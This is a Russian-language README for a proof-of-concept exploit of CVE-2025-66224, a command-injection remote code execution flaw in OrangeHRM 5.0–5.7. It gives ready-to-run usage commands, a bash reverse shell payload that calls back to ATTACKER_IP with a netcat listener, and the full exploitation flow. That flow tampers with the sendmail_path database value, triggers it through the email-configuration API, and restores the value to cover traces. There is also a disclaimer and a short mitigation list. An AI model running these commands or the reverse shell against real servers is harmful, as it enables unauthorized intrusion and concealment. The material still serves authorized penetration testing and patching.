OrangeHRM RCE Эксплойт - CVE-2025-66224

📋 Описание

Этот Proof of Concept (PoC) демонстрирует уязвимость удаленного выполнения кода (RCE) в OrangeHRM через внедрение команды в параметр конфигурации sendmail_path.

Эксплойт работает следующим образом:

1. Внедрение вредоносной нагрузки в базу данных MySQL (таблица hs_hr_config)
2. Запуск выполнения нагрузки через API-эндпоинт конфигурации электронной почты
3. Автоматическое восстановление исходного значения для заметания следов

🎯 Подверженные версии

• OrangeHRM версии 5.0 – 5.7

⚠️ Дисклеймер

Этот инструмент предоставляется только для образовательных и авторизованных тестов безопасности. Несанкционированный доступ к компьютерным системам незаконен. Авторы не несут ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.

🔧 Требования

pip install requests mysql-connector-python

📦 Установка

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 Использование

Шаг 1: Получение сессионной куки

1. Войдите в OrangeHRM через веб-интерфейс
2. Откройте инструменты разработчика в браузере (F12)
3. Перейдите в Storage > Cookies (Firefox) или Application > Cookies (Chrome)
4. Скопируйте значение куки _orangehrm

Шаг 2: Запуск эксплойта

python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
    -dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
    -cmd '<COMMAND_TO_EXECUTE>'

Пример - простая команда

python3 exploit.py -t http://127.0.0.1:8080/ \
    -c "g58tak8pbnheseatv6dggvi31i" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd "touch /tmp/pwned"

Пример - обратная оболочка

# Start listener on attacker machine
nc -lvnp 4444

# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
    -c "your_session_cookie" \
    -dh 172.18.0.2 \
    -du orange_user \
    -dp orange_password \
    -cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

📝 Параметры

Параметр	Короткий	Обязательный	Описание
--target	-t	✅	URL цели (например, http://target.com)
--cookie	-c	✅	Значение сессионной куки
--cookie_name	-cn	❌	Имя куки (по умолчанию: _orangehrm)
--command	-cmd	✅	Команда для выполнения на цели
--db_host	-dh	✅	Адрес хоста MySQL
--db_user	-du	✅	Имя пользователя MySQL
--db_pass	-dp	✅	Пароль MySQL
--db_port	-dport	❌	Порт MySQL (по умолчанию: 3306)

🔍 Как это работает

Детали уязвимости

Уязвимость существует в функциональности конфигурации электронной почты, где параметр sendmail_path сохраняется в базе данных и впоследствии выполняется без надлежащей санитизации.

Поток эксплуатации:

1. Authenticate to OrangeHRM (obtain valid session cookie)
   ↓
2. Connect to MySQL database
   ↓
3. Locate hs_hr_config table
   ↓
4. Update email_config.sendmail_path value:
   FROM: /usr/sbin/sendmail -bs
   TO:   /usr/sbin/sendmail -bs && <PAYLOAD> #
   ↓
5. Trigger execution via API:
   PUT /web/index.php/api/v2/admin/email-configuration
   ↓
6. Command executes on server
   ↓
7. Restore original value (cleanup)

Технические детали

Уязвимый параметр: email_config.sendmail_path

База данных:

• Таблица: hs_hr_config
• Столбец: name = 'email_config.sendmail_path'
• Столбец: value = путь к команде sendmail

Эндпоинт триггера:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ Смягчение

1. Валидация ввода: Реализуйте строгую проверку параметра sendmail_path
2. Экранирование: Правильно экранируйте shell-команды перед выполнением
3. Минимальные привилегии: Запускайте веб-сервер с минимальными правами
4. Обновление: Примените последние исправления безопасности для OrangeHRM

🤝 Авторство

PoC от: RiccK

Команда: Bypassadores && HackersOnSteroids

🔗 Ссылки

• CVE-2025-66224

---

⚠️ Используйте ответственно. Всегда получайте надлежащее разрешение перед тестированием.